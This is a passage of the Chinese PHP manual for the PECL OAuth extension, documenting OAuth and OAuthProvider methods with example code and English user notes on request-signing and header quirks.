  • OAuth::setAuthType — 设置授权类型
  • OAuth::setCAPath — 设置 CA 路径和信息
  • OAuth::setNonce — 为后续请求设置现时标志
  • OAuth::setRequestEngine — 设置目标请求引擎
  • OAuth::setRSACertificate — 设置 RSA 证书
  • OAuth::setSSLChecks — 调整特定的SSL请求检查
  • OAuth::setTimestamp — 设置时间戳
  • OAuth::setToken — 设置令牌和 secret
  • OAuth::setVersion — 设置 OAuth 版本

User Contributed Notes

There are no user contributed notes for this page.


新建一个 OAuth 对象

  • ? OAuth
  • OAuth::__destruct ?
  • PHP Manual
  • OAuth
  • 新建一个 OAuth 对象

OAuth::__construct

(PECL OAuth >= 0.99.1)

OAuth::__construct — 新建一个 OAuth 对象

说明

public OAuth::__construct ( string $consumer_key , string $consumer_secret [, string $signature_method = OAUTH_SIG_METHOD_HMACSHA1 [, int $auth_type = 0 ]] )

新建一个 OAuth 对象

参数

consumer_key

由服务提供者提供的 consumer key 。

consumer_secret

由服务提供者提供的 consumer secret 。

signature_method

可选参数，用来定义使用哪种签名方法，默认为 OAUTH_SIG_METHOD_HMACSHA1 （HMAC-SHA1）。

auth_type

可选参数，用来定义如何传递 OAuth 参数给消费方，默认为OAUTH_AUTH_TYPE_AUTHORIZATION （在 Authorization 头部）。

User Contributed Notes

mgfrobozz at gmail dot com 23-Jan-2017 05:29
The authorization type enums as of oauth-1.2.3 are
OAUTH_AUTH_TYPE_AUTHORIZATION
OAUTH_AUTH_TYPE_URI
OAUTH_AUTH_TYPE_FORM
OAUTH_AUTH_TYPE_NONE
mgfrobozz at gmail dot com 23-Jan-2017 05:27
The signature methods available as of oauth-1.2.3 are:
OAUTH_SIG_METHOD_HMACSHA1
OAUTH_SIG_METHOD_HMACSHA256
OAUTH_SIG_METHOD_RSASHA1
OAUTH_SIG_METHOD_PLAINTEXT


析构函数

  • ? OAuth::__construct
  • OAuth::disableDebug ?
  • PHP Manual
  • OAuth
  • 析构函数

OAuth::__destruct

(PECL OAuth >= 0.99.9)

OAuth::__destruct — 析构函数

说明

public OAuth::__destruct ( void ) : void

析构函数。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

参见

  • OAuth::__construct() - 新建一个 OAuth 对象

User Contributed Notes

There are no user contributed notes for this page.


关闭详细的调试

  • ? OAuth::__destruct
  • OAuth::disableRedirects ?
  • PHP Manual
  • OAuth
  • 关闭详细的调试

OAuth::disableDebug

(PECL OAuth >= 0.99.3)

OAuth::disableDebug — 关闭详细的调试

说明

public OAuth::disableDebug ( void ) : bool

关闭详细的请求信息（默认为关闭）。或者，将 调试 属性设置为 FALSE 值来关闭调试。

参数

此函数没有参数。

返回值

TRUE

更新日志

版本 | 说明
0.99.8 | 增加相关 调试 属性。

参见

  • OAuth::enableDebug() - 启用详细调试

User Contributed Notes

There are no user contributed notes for this page.


关闭重定向

  • ? OAuth::disableDebug
  • OAuth::disableSSLChecks ?
  • PHP Manual
  • OAuth
  • 关闭重定向

OAuth::disableRedirects

(PECL OAuth >= 0.99.9)

OAuth::disableRedirects — 关闭重定向

说明

public OAuth::disableRedirects ( void ) : bool

禁用自动跟随其后的重定向，这样，手动重定向请求。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

TRUE

参见

  • OAuth::enableRedirects() - 启用重定向

User Contributed Notes

There are no user contributed notes for this page.


关闭 SSL 检查

  • ? OAuth::disableRedirects
  • OAuth::enableDebug ?
  • PHP Manual
  • OAuth
  • 关闭 SSL 检查

OAuth::disableSSLChecks

(PECL OAuth >= 0.99.5)

OAuth::disableSSLChecks — 关闭 SSL 检查

说明

public OAuth::disableSSLChecks ( void ) : bool

关闭通常的 SSL 对等证书和主机检查，但不用于生产环境。或者，设置 sslChecks 成员为 FALSE 来关闭 SSL 检查。

参数

此函数没有参数。

返回值

TRUE

更新日志

版本 | 说明
0.99.8 | 增加了 sslChecks 成员

参见

  • OAuth::enableSSLChecks() - 启用 SSL 检查

User Contributed Notes

There are no user contributed notes for this page.


启用详细调试

  • ? OAuth::disableSSLChecks
  • OAuth::enableRedirects ?
  • PHP Manual
  • OAuth
  • 启用详细调试

OAuth::enableDebug

(PECL OAuth >= 0.99.3)

OAuth::enableDebug — 启用详细调试

说明

public OAuth::enableDebug ( void ) : bool

打开用于调试的详细请求信息，调试信息存储在 debugInfo 成员中。或者，可以设置 debug 成员为一个非 FALSE 值来打开启用调试。

参数

此函数没有参数。

返回值

TRUE

更新日志

版本 | 说明
0.99.8 | 增加了 debug 和 debugInfo 成员

参见

  • OAuth::disableDebug() - 关闭详细的调试

User Contributed Notes

There are no user contributed notes for this page.


启用重定向

  • ? OAuth::enableDebug
  • OAuth::enableSSLChecks ?
  • PHP Manual
  • OAuth
  • 启用重定向

OAuth::enableRedirects

(PECL OAuth >= 0.99.9)

OAuth::enableRedirects — 启用重定向

说明

public OAuth::enableRedirects ( void ) : bool

启用自动重定向，此项默认为启用。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

TRUE

参见

  • OAuth::disableRedirects() - 关闭重定向

User Contributed Notes

There are no user contributed notes for this page.


启用 SSL 检查

  • ? OAuth::enableRedirects
  • OAuth::fetch ?
  • PHP Manual
  • OAuth
  • 启用 SSL 检查

OAuth::enableSSLChecks

(PECL OAuth >= 0.99.5)

OAuth::enableSSLChecks — 启用 SSL 检查

说明

public OAuth::enableSSLChecks ( void ) : bool

启用通常的l SSL 对等证书和主机检查（默认为启用）。或者，可以设置 sslChecks 成员为一个非 FALSE 值来启用 SSL 检查。

参数

此函数没有参数。

返回值

TRUE

更新日志

版本 | 说明
0.99.8 | 增加 sslChecks 成员

参见

  • OAuth::disableSSLChecks() - 关闭 SSL 检查

User Contributed Notes

There are no user contributed notes for this page.


获取一个 OAuth 受保护的资源

  • ? OAuth::enableSSLChecks
  • OAuth::generateSignature ?
  • PHP Manual
  • OAuth
  • 获取一个 OAuth 受保护的资源

OAuth::fetch

(PECL OAuth >= 0.99.1)

OAuth::fetch — 获取一个 OAuth 受保护的资源

说明

public OAuth::fetch ( string $protected_resource_url [, array $extra_parameters [, string $http_method [, array $http_headers ]]] ) : mixed

获取一个资源。

参数

protected_resource_url

OAuth 受保护资源的URL

extra_parameters

和资源请求一起发送的额外参数。

http_method

OAUTH_HTTP_METHOD_* 系列 OAUTH 常量之一，GET、POST、PUT、HEAD 或 DELETE 其中的一个。

HEAD （OAUTH_HTTP_METHOD_HEAD ）可以用于先于请求发现信息（如果 OAuth 证书在 Authorization 头部）。

http_headers

HTTP 客户端头信息（像 User-Agent， Accept 等等这样的）。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
1.0.0 | 以前失败时返回 NULL，而不是 FALSE。
0.99.5 | 新增 http_method 参数
0.99.8 | 新增 http_headers 参数

范例

Example #1 OAuth::fetch() example

<?php
try {
    $oauth = new OAuth("consumer_key","consumer_secret",OAUTH_SIG_METHOD_HMACSHA1,OAUTH_AUTH_TYPE_AUTHORIZATION);
    $oauth->setToken("access_token","access_token_secret");

    $oauth->fetch("http://photos.example.net/photo?file=vacation.jpg");

    $response_info = $oauth->getLastResponseInfo();
    header("Content-Type: {$response_info["content_type"]}");
    echo $oauth->getLastResponse();
} catch(OAuthException $E) {
    echo "Exception caught!\n";
    echo "Response: ". $E->lastResponse . "\n";
}
?>

参见

  • OAuth::getLastResponse() - 获取最后一次的响应
  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息
  • OAuth::setToken() - 设置令牌和 secret

User Contributed Notes

Lars Stttrup Nielsen 16-Mar-2016 07:37
So I'm using this to talk to the Woocommerce REST API, and was having a lot of trouble figuring out what exactly $extra_parameters was supposed to look like (which WC REST API expects, besides being of the type OAUTH_AUTH_TYPE_URI).

The multidimensional array I fed it crashed PHP, so don't do that if you're in my shoes.

What ended up solving it was me looking through the OAuth source and noticing that $extra_parameters can also be a string, which, encoded as json (json_encode), solved all my troubles as WC accepted it.
zverik at textual dot ru 31-Mar-2014 08:46
If $extra_parameters is not an array, you have to specify Content-Type header, or else you'll get HTTP 401 error. Example:

<?php
$oauth->fetch(ENDPOINT, '{"action": "get_user_info"}', OAUTH_HTTP_METHOD_PUT, array('Content-Type' => 'application/json'));
?>
chris dot barr at ntlworld dot com 05-Mar-2013 05:59
The fetch() method will throw an OAuthException if the returned http status code is in the 4xx or 5xx range:

<?php
// Querying Twitter with bad login details
try {
  $oauth->fetch('https://api.twitter.com/1.1/favorites/list.json');
}
catch(Exception $e) {
  echo $e->getCode(); // 401
  // Message generated by OAuth class
  echo $e->getMessage(); // Invalid auth/bad request (got a 401, expected HTTP/1.1 20X or a redirect)
  // Message returned from Twitter
  echo $e->lastResponse; // {"errors":[{"message":"Could not authenticate you","code":32}]}
}
sun at drupal dot org 09-Aug-2011 06:40
Make sure that your $extra_parameters is an array.

If it's not, then OAuth will silently skip the malformed data type and produce a signature base string that is invalid (doesn't contain POST parameters, as defined in the RFC).

You should file a critical bug report against any REST API you find in the wild that accepts such a bogus signature to pass authentication.
contact info at mech dot cx 23-Mar-2011 04:00
I was having troubles getting fetch() to post, the remote server (Twitter, in this case) complained at me that their "resource only supports POST". Turned out to be a known bug in OAuth 1.1, downgrading to 1.0 fixed it.

Don't lose as much time over this as I did :-)
Lyuben Penkovski (l_penkovski at yahoo dot com) 26-Aug-2010 11:51
If the provider's web server is configured to use Keep-Alive extension to HTTP protocol (HTTP 1.1), there can be a big delay in the response time from the provider. By default Apache is configured to use Keep-Alive for 5 seconds. This is the delay after which the response will come back to the consumer. If you have this issue of delayed result, you can pass in HTTP headers when calling $consumer->fetch():

<?php
$consumer = new OAuth("consumer_key", "consumer_secret", OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_FORM);
$consumer->fetch('http://example.com/api/', null, OAUTH_HTTP_METHOD_POST, array('Connection'=>'close'));
?>

Then the provider will send the result immediately after it's ready with the processing and the connection will be closed. Unfortunately, when calling $consumer->getRequestToken() and $consumer->getAccessToken() there's no way provided to pass in HTTP headers and this delay (if present) cannot be avoided, or at least we could not find a way to avoid it.

The solution that worked for us is to send this header from the provider when returning result to the consumer:

<?php
$result = 'oauth_callback_accepted=true&oauth_token=' . $this->urlencode($token->oauth_token) .
          '&oauth_token_secret='.$this->urlencode($token->oauth_token_secret);

header('HTTP/1.1 200 OK');
header('Content-Length: '.strlen($result));
header('Content-Type: application/x-www-form-urlencoded');
header('Connection:close');
echo $result;
?>

This can work if you have the possibility to modify the code of the provider, e.g. if you are the provider yourself or if you can talk with the people that develop it and ask them to send this header for your request.


生成一个签名

  • ? OAuth::fetch
  • OAuth::getAccessToken ?
  • PHP Manual
  • OAuth
  • 生成一个签名

OAuth::generateSignature

(No version information available, might only be in Git)

OAuth::generateSignature — 生成一个签名

说明

public OAuth::generateSignature ( string $http_method , string $url [, mixed $extra_parameters ] ) : string

生成一个基于最终 HTTP 方法、URL 和 一个字符串/数组参数的签名。

参数

http_method

用来请求的 HTTP 方法

url

用来请求的 URL

extra_parameters

字符串或数组的附加参数

返回值

一个包含签名的字符串 或者在失败时返回 FALSE

User Contributed Notes

There are no user contributed notes for this page.


获取一个访问令牌

  • ? OAuth::generateSignature
  • OAuth::getCAPath ?
  • PHP Manual
  • OAuth
  • 获取一个访问令牌

OAuth::getAccessToken

(PECL OAuth >= 0.99.1)

OAuth::getAccessToken — 获取一个访问令牌

说明

public OAuth::getAccessToken ( string $access_token_url [, string $auth_session_handle [, string $verifier_token ]] ) : array

从服务提供者获取一个访问令牌、secret以及一些附带的响应参数 。

参数

access_token_url

用于访问令牌 API 的 URL。

auth_session_handle

授权会话句柄，此参数在 OAuth 规范核心中没有任何引用， 但可能被大的提供者实现。» 参见 ScalableOAuth 获取更多信息。

verifier_token

对于支持 1.0a 的服务提供者， 当交换请求令牌和访问令牌时，必须传递 verifier_token 。如果 verifier_token 存在于 $_GET 或 $_POST 中，它将被自动传递，且调用者不需要指定一个 verifier_token （通常如果访问令牌在 oauth_callback URL 上被交换 ）。 » 参见 ScalableOAuth 获取更多信息。

返回值

成功则返回一个包含解析过的 OAuth 响应的数组， 失败则返回 FALSE 。

更新日志

版本 | 说明
1.0.0 | 以前失败时返回 NULL，而不是 FALSE。
0.99.9 | 新增 verifier_token 参数

范例

Example #1 OAuth::getAccessToken() 例子

<?php
try {
    $oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
    $oauth->setToken($request_token,$request_token_secret);
    $access_token_info = $oauth->getAccessToken("https://example.com/oauth/access_token");
    if(!empty($access_token_info)) {
        print_r($access_token_info);
    } else {
        print "Failed fetching access token, response was: " . $oauth->getLastResponse();
    }
} catch(OAuthException $E) {
    echo "Response: ". $E->lastResponse . "\n";
}
?>

以上例程的输出类似于：

Array
(
    [oauth_token] => some_token
    [oauth_token_secret] => some_token_secret
)

参见

  • OAuth::getLastResponse() - 获取最后一次的响应
  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息
  • OAuth::setToken() - 设置令牌和 secret

User Contributed Notes

There are no user contributed notes for this page.


获取 CA 信息

  • ? OAuth::getAccessToken
  • OAuth::getLastResponse ?
  • PHP Manual
  • OAuth
  • 获取 CA 信息

OAuth::getCAPath

(PECL OAuth >= 0.99.8)

OAuth::getCAPath — 获取 CA 信息

说明

public OAuth::getCAPath ( void ) : array

获取证书授权的信息，其中包括通过 OAuth::setCaPath() 设置的 ca_path 和 ca_info 。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回一个证书授权信息的 数组 ，在返回的关联数组中明确地包含 ca_path 和 ca_info 键。

参见

  • OAuth::setCAPath() - 设置 CA 路径和信息
  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息

User Contributed Notes

There are no user contributed notes for this page.


获取最后一次的响应

  • ? OAuth::getCAPath
  • OAuth::getLastResponseHeaders ?
  • PHP Manual
  • OAuth
  • 获取最后一次的响应

OAuth::getLastResponse

(PECL OAuth >= 0.99.1)

OAuth::getLastResponse — 获取最后一次的响应

说明

public OAuth::getLastResponse ( void ) : string

获取最近一次请求的原始响应。

参数

此函数没有参数。

返回值

返回一个最后一次响应的字符串。

参见

  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息
  • OAuth::fetch() - 获取一个 OAuth 受保护的资源

User Contributed Notes

There are no user contributed notes for this page.


获取最后一次响应的头信息

  • ? OAuth::getLastResponse
  • OAuth::getLastResponseInfo ?
  • PHP Manual
  • OAuth
  • 获取最后一次响应的头信息

OAuth::getLastResponseHeaders

(No version information available, might only be in Git)

OAuth::getLastResponseHeaders — 获取最后一次响应的头信息

说明

public OAuth::getLastResponseHeaders ( void ) : string

获取最后一次响应的头信息。

参数

此函数没有参数。

返回值

返回一个包含最后一次响应头信息的字符串 或者在失败时返回 FALSE 。

User Contributed Notes

There are no user contributed notes for this page.


获取关于最后一次响应的 HTTP 信息

  • ? OAuth::getLastResponseHeaders
  • OAuth::getRequestHeader ?
  • PHP Manual
  • OAuth
  • 获取关于最后一次响应的 HTTP 信息

OAuth::getLastResponseInfo

(PECL OAuth >= 0.99.1)

OAuth::getLastResponseInfo — 获取关于最后一次响应的 HTTP 信息

说明

public OAuth::getLastResponseInfo ( void ) : array

获取关于最后一次响应的 HTTP 信息。

参数

此函数没有参数。

返回值

返回一个包含最后一次请求响应信息的数组。可以用到来自 curl_getinfo() 的常量。

参见

  • OAuth::fetch() - 获取一个 OAuth 受保护的资源
  • OAuth::getLastResponse() - 获取最后一次的响应

User Contributed Notes

There are no user contributed notes for this page.


生成 OAuth 头信息字符串签名

  • ? OAuth::getLastResponseInfo
  • OAuth::getRequestToken ?
  • PHP Manual
  • OAuth
  • 生成 OAuth 头信息字符串签名

OAuth::getRequestHeader

(No version information available, might only be in Git)

OAuth::getRequestHeader — 生成 OAuth 头信息字符串签名

说明

public OAuth::getRequestHeader ( string $http_method , string $url [, mixed $extra_parameters ] ) : string

生成基于最终 HTTP 方法、URL 和 一个字符串/数组附加参数的 OAuth 头信息字符串签名。

参数

http_method

请求的 HTTP 方法。

url

请求的 URL 。

extra_parameters

字符串或数组类型的附带参数。

返回值

返回 一个包含生成的请求头信息的字符串 r 或者在失败时返回 FALSE

User Contributed Notes

me at chrishowie dot com 12-Dec-2016 10:03
The documentation does not specify the difference between passing a string and passing an array for the third parameter.  We spent two days debugging before reading the C source code to figure out that there is a significant and undocumented difference between the two.

"a=1" and array("a" => 1) are handled very differently!

If you are making a POST/PUT request (or anything with an entity body) then you should pass that as a string.

If you are making a request with a query string, you should pass that as an associative array.

If you pass "a=1" intending that to specify the query string, the generated signature will be invalid -- it will process this as if you were POSTing the content "a=1" instead.


获取一个请求令牌

  • ? OAuth::getRequestHeader
  • OAuth::setAuthType ?
  • PHP Manual
  • OAuth
  • 获取一个请求令牌

OAuth::getRequestToken

(PECL OAuth >= 0.99.1)

OAuth::getRequestToken — 获取一个请求令牌

说明

public OAuth::getRequestToken ( string $request_token_url [, string $callback_url ] ) : array

从服务提供者那里获取一个请求令牌、secret 、以及一些附带的响应参数。

参数

request_token_url

请求令牌 API 的 URL。

callback_url

OAuth 回调 URL。 如果传递了 callback_url 且为空值，则将其设置为"oob"即到 OAuth 2009.1 咨询的地址。

返回值

成功则返回一个包含解析过了的 OAuth 响应的数组，失败则返回 FALSE 。

更新日志

版本 | 说明
1.0.0 | 以前失败时返回 NULL，而不是 FALSE。
0.99.9 | 增加 callback_url 参数。

范例

Example #1 OAuth::getRequestToken() 例子

<?php
try {
    $oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
    $request_token_info = $oauth->getRequestToken("https://example.com/oauth/request_token");
    if(!empty($request_token_info)) {
        print_r($request_token_info);
    } else {
        print "Failed fetching request token, response was: " . $oauth->getLastResponse();
    }
} catch(OAuthException $E) {
    echo "Response: ". $E->lastResponse . "\n";
}
?>

以上例程的输出类似于：

Array
(
    [oauth_token] => some_token
    [oauth_token_secret] => some_token_secret
)

参见

  • OAuth::getLastResponse() - 获取最后一次的响应
  • OAuth::getLastResponseInfo() - 获取关于最后一次响应的 HTTP 信息

User Contributed Notes

bohwaz 29-Mar-2010 07:29
Please note that if you don't supply callback_url, the oauth parameter oauth_callback will not be sent to the server and will result in an error from the server, as this parameter is REQUIRED in the OAuth spec.


设置授权类型

  • ? OAuth::getRequestToken
  • OAuth::setCAPath ?
  • PHP Manual
  • OAuth
  • 设置授权类型

OAuth::setAuthType

(PECL OAuth >= 0.99.1)

OAuth::setAuthType — 设置授权类型

说明

public OAuth::setAuthType ( int $auth_type ) : mixed

设置 OAuth 参数应该放在哪里传递。

参数

auth_type

auth_type可能是下列标志之一（在 OAuth 1.0 规范的第 5.2 章节中按优先级降序排列）：

OAUTH_AUTH_TYPE_AUTHORIZATION
在 HTTP Authorization 头部传递 OAuth 参数。
OAUTH_AUTH_TYPE_FORM
将 OAuth 参数附加到 HTTP POST 请求主体中。
OAUTH_AUTH_TYPE_URI
将 OAuth 参数附加到请求的 URI 后面 。
OAUTH_AUTH_TYPE_NONE
无。

返回值

如果参数设置正确则返回 TRUE ，否则返回 FALSE （比如，传递进一个无效的 auth_type ）。

更新日志

版本 | 说明
1.0.0 | 以前失败时返回 NULL，而不是 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


设置 CA 路径和信息

  • ? OAuth::setAuthType
  • OAuth::setNonce ?
  • PHP Manual
  • OAuth
  • 设置 CA 路径和信息

OAuth::setCAPath

(PECL OAuth >= 0.99.8)

OAuth::setCAPath — 设置 CA 路径和信息

说明

public OAuth::setCAPath ([ string $ca_path [, string $ca_info ]] ) : mixed

设置证书授权中心（CA ）的路径和信息。

Warning

本函数还未编写文档，仅有参数列表。

参数

ca_path

要设置的 CA 路径。

ca_info

要设置的 CA 信息。

返回值

成功则返回 TRUE ，如果 ca_path 或 ca_info 其中之一被认为无效则返回 FALSE 。

更新日志

版本 | 说明
1.0.0 | 以前失败时返回 NULL，而不是 FALSE。

参见

  • OAuth::getCaPath() - 获取 CA 信息

User Contributed Notes

There are no user contributed notes for this page.


为后续请求设置现时标志

  • ? OAuth::setCAPath
  • OAuth::setRequestEngine ?
  • PHP Manual
  • OAuth
  • 为后续请求设置现时标志

OAuth::setNonce

(PECL OAuth >= 0.99.1)

OAuth::setNonce — 为后续请求设置现时标志

说明

public OAuth::setNonce ( string $nonce ) : mixed

为所有后续请求设置现时标志。

参数

nonce

oauth_nonce 的值。

返回值

成功返回 TRUE ，如果 nonce 被认为无效，则返回 FALSE 。

更新日志

版本 | 说明
1.0.0 | 以前失败时返回 NULL，而不是 FALSE。

参见

  • OAuth::setToken() - 设置令牌和 secret
  • OAuth::setAuthType() - 设置授权类型
  • OAuth::setVersion() - 设置 OAuth 版本

User Contributed Notes

There are no user contributed notes for this page.


设置目标请求引擎

  • ? OAuth::setNonce
  • OAuth::setRSACertificate ?
  • PHP Manual
  • OAuth
  • 设置目标请求引擎

OAuth::setRequestEngine

(PECL OAuth >= 1.0.0)

OAuth::setRequestEngine — 设置目标请求引擎

说明

public OAuth::setRequestEngine ( int $reqengine ) : void

设置请求引擎，用于发送 HTTP 请求。

Warning

本函数还未编写文档，仅有参数列表。

参数

reqengine

想要的请求引擎。 设为 OAUTH_REQENGINE_STREAMS 则使用 PHP 流，设为 OAUTH_REQENGINE_CURL 则使用 Curl。

返回值

没有返回值。

错误／异常

如果选择了一个无效的请求引擎，则发出一个 OAuthException 异常。

范例

Example #1 OAuth::setRequestEngine() 例子

<?php
$consumer = new OAuth();

$consumer->setRequestEngine(OAUTH_REQENGINE_STREAMS);
?>

参见

  • Curl
  • PHP 流
  • OAuthException

User Contributed Notes

There are no user contributed notes for this page.


设置 RSA 证书

  • ? OAuth::setRequestEngine
  • OAuth::setSSLChecks ?
  • PHP Manual
  • OAuth
  • 设置 RSA 证书

OAuth::setRSACertificate

(PECL OAuth >= 1.0.0)

OAuth::setRSACertificate — 设置 RSA 证书

说明

public OAuth::setRSACertificate ( string $cert ) : mixed

设置 RSA 证书。

Warning

本函数还未编写文档，仅有参数列表。

参数

cert

RSA 证书。

返回值

成功则返回 TRUE ，失败返回 FALSE （例如，RSA证书不能被传递）。

更新日志

版本 | 说明
1.0.0 | 以前失败时返回 NULL，而不是 FALSE。

范例

Example #1 一个 OAuth::setRsaCertificate() 例子

<?php
$consume = new OAuth('1234', '', OAUTH_SIG_METHOD_RSASHA1);

$consume->setRSACertificate(file_get_contents('test.pem'));
?>

参见

  • OAuth::setCaPath() - 设置 CA 路径和信息

User Contributed Notes

There are no user contributed notes for this page.


调整特定的SSL请求检查

  • ? OAuth::setRSACertificate
  • OAuth::setTimestamp ?
  • PHP Manual
  • OAuth
  • 调整特定的SSL请求检查

OAuth::setSSLChecks

(No version information available, might only be in Git)

OAuth::setSSLChecks — 调整特定的SSL请求检查

说明

public OAuth::setSSLChecks ( int $sslcheck ) : bool

调整特定的SSL请求检查。

Warning

本函数还未编写文档，仅有参数列表。

参数

sslcheck

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


设置时间戳

  • ? OAuth::setSSLChecks
  • OAuth::setToken ?
  • PHP Manual
  • OAuth
  • 设置时间戳

OAuth::setTimestamp

(PECL OAuth >= 1.0.0)

OAuth::setTimestamp — 设置时间戳

说明

public OAuth::setTimestamp ( string $timestamp ) : mixed

为后续请求设置时间戳。

Warning

本函数还未编写文档，仅有参数列表。

参数

timestamp

时间戳。

返回值

返回 TRUE ，除非 timestamp 无效，则返回 FALSE 。

更新日志

版本 | 说明
1.0.0 | 以前失败时返回 NULL，而不是 FALSE。

参见

  • OAuth::setNonce() - 为后续请求设置现时标志

User Contributed Notes

There are no user contributed notes for this page.


设置令牌和 secret

  • ? OAuth::setTimestamp
  • OAuth::setVersion ?
  • PHP Manual
  • OAuth
  • 设置令牌和 secret

OAuth::setToken

(PECL OAuth >= 0.99.1)

OAuth::setToken — 设置令牌和 secret

说明

public OAuth::setToken ( string $token , string $token_secret ) : bool

为后续请求设置令牌和 secret。

参数

token

OAuth 令牌

token_secret

OAuth 令牌 secret。

返回值

TRUE

范例

Example #1 OAuth::setToken() 例子

<?php
$oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
$oauth->setToken("token","token-secret");
?>

User Contributed Notes

There are no user contributed notes for this page.


设置 OAuth 版本

  • ? OAuth::setToken
  • OAuthProvider ?
  • PHP Manual
  • OAuth
  • 设置 OAuth 版本

OAuth::setVersion

(PECL OAuth >= 0.99.1)

OAuth::setVersion — 设置 OAuth 版本

说明

public OAuth::setVersion ( string $version ) : bool

为随后请求设置 OAuth 版本

参数

version

OAuth 版本，默认值为 "1.0"

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


OAuthProvider 类

(PECL OAuth >= 1.0.0)

简介

管理一个 OAuth 提供者类。

参考一个外部的深入教程 » 写一个 OAuth 提供者服务，用来亲自实践提供服务。也可以参考 OAuth 扩展源代码里的 » OAuth 提供者例子 。

类摘要

OAuthProvider {
/* 方法 */
final public addRequiredParameter ( string $req_params ) : bool
public callconsumerHandler ( void ) : void
public callTimestampNonceHandler ( void ) : void
public calltokenHandler ( void ) : void
public checkOAuthRequest ([ string $uri [, string $method ]] ) : void
public __construct ([ array $params_array ] )
public consumerHandler ( callable $callback_function ) : void
final public static generateToken ( int $size [, bool $strong = false ] ) : string
public is2LeggedEndpoint ( mixed $params_array ) : void
public isRequestTokenEndpoint ( bool $will_issue_request_token ) : void
final public removeRequiredParameter ( string $req_params ) : bool
final public static reportProblem ( string $oauthexception [, bool $send_headers = true ] ) : string
final public setParam ( string $param_key [, mixed $param_val ] ) : bool
final public setRequestTokenPath ( string $path ) : bool
public timestampNonceHandler ( callable $callback_function ) : void
public tokenHandler ( callable $callback_function ) : void
}

Table of Contents

  • OAuthProvider::addRequiredParameter — 添加必需的参数
  • OAuthProvider::callconsumerHandler — 调用 consumerNonceHandler 回调函数
  • OAuthProvider::callTimestampNonceHandler — 调用 timestampNonceHandler 回调函数
  • OAuthProvider::calltokenHandler — 调用 tokenNonceHandler 回调函数
  • OAuthProvider::checkOAuthRequest — 检查一个 oauth 请求
  • OAuthProvider::__construct — 新建一个 OAuthProvider 对象
  • OAuthProvider::consumerHandler — 设置 consumerHandler 句柄回调函数
  • OAuthProvider::generateToken — 生成一个随机令牌
  • OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint
  • OAuthProvider::isRequestTokenEndpoint — 设置 isRequestTokenEndpoint
  • OAuthProvider::removeRequiredParameter — 移除一个必需的参数
  • OAuthProvider::reportProblem — 报告问题
  • OAuthProvider::setParam — 设置一个参数
  • OAuthProvider::setRequestTokenPath — 设置请求令牌路径
  • OAuthProvider::timestampNonceHandler — 设置 timestampNonceHandler 句柄回调函数
  • OAuthProvider::tokenHandler — 设置 tokenHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


添加必需的参数

  • ? OAuthProvider
  • OAuthProvider::callconsumerHandler ?
  • PHP Manual
  • OAuthProvider
  • 添加必需的参数

OAuthProvider::addRequiredParameter

(PECL OAuth >= 1.0.0)

OAuthProvider::addRequiredParameter — 添加必需的参数

说明

final public OAuthProvider::addRequiredParameter ( string $req_params ) : bool

添加必需的 oauth 提供者参数。

Warning

本函数还未编写文档，仅有参数列表。

参数

req_params

必需的参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • OAuthProvider::removeRequiredParameter() - 移除一个必需的参数

User Contributed Notes

me at thomashunter dot name 06-Jun-2013 03:03
This method can be used for adding non-standard parameters required by your application, as well as parameters within the spec.

<?php
$Provider->addRequiredParameter("permissions");
$Provider->addRequiredParameter("oauth_callback");


调用 consumerNonceHandler 回调函数

  • ? OAuthProvider::addRequiredParameter
  • OAuthProvider::callTimestampNonceHandler ?
  • PHP Manual
  • OAuthProvider
  • 调用 consumerNonceHandler 回调函数

OAuthProvider::callconsumerHandler

(No version information available, might only be in Git)

OAuthProvider::callconsumerHandler — 调用 consumerNonceHandler 回调函数

说明

public OAuthProvider::callconsumerHandler ( void ) : void

调用注册的消费者句柄回调函数，此回调函数通过 OAuthProvider::consumerHandler() 设置。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

如回调函数无法被调用或未被指定，会引发一个 E_ERROR 级别的错误。

参见

  • OAuthProvider::consumerHandler() - 设置 consumerHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


调用 timestampNonceHandler 回调函数

  • ? OAuthProvider::callconsumerHandler
  • OAuthProvider::calltokenHandler ?
  • PHP Manual
  • OAuthProvider
  • 调用 timestampNonceHandler 回调函数

OAuthProvider::callTimestampNonceHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::callTimestampNonceHandler — 调用 timestampNonceHandler 回调函数

说明

public OAuthProvider::callTimestampNonceHandler ( void ) : void

调用注册的时间戳句柄回调函数，此回调函数通过 OAuthProvider::timestampNonceHandler() 设置。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

如回调函数无法被调用或未被指定，会引发一个 E_ERROR 级别的错误。

参见

  • OAuthProvider::timestampNonceHandler() - 设置 timestampNonceHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


调用 tokenNonceHandler 回调函数

  • ? OAuthProvider::callTimestampNonceHandler
  • OAuthProvider::checkOAuthRequest ?
  • PHP Manual
  • OAuthProvider
  • 调用 tokenNonceHandler 回调函数

OAuthProvider::calltokenHandler

(PECL OAuth >= 1.0.0)

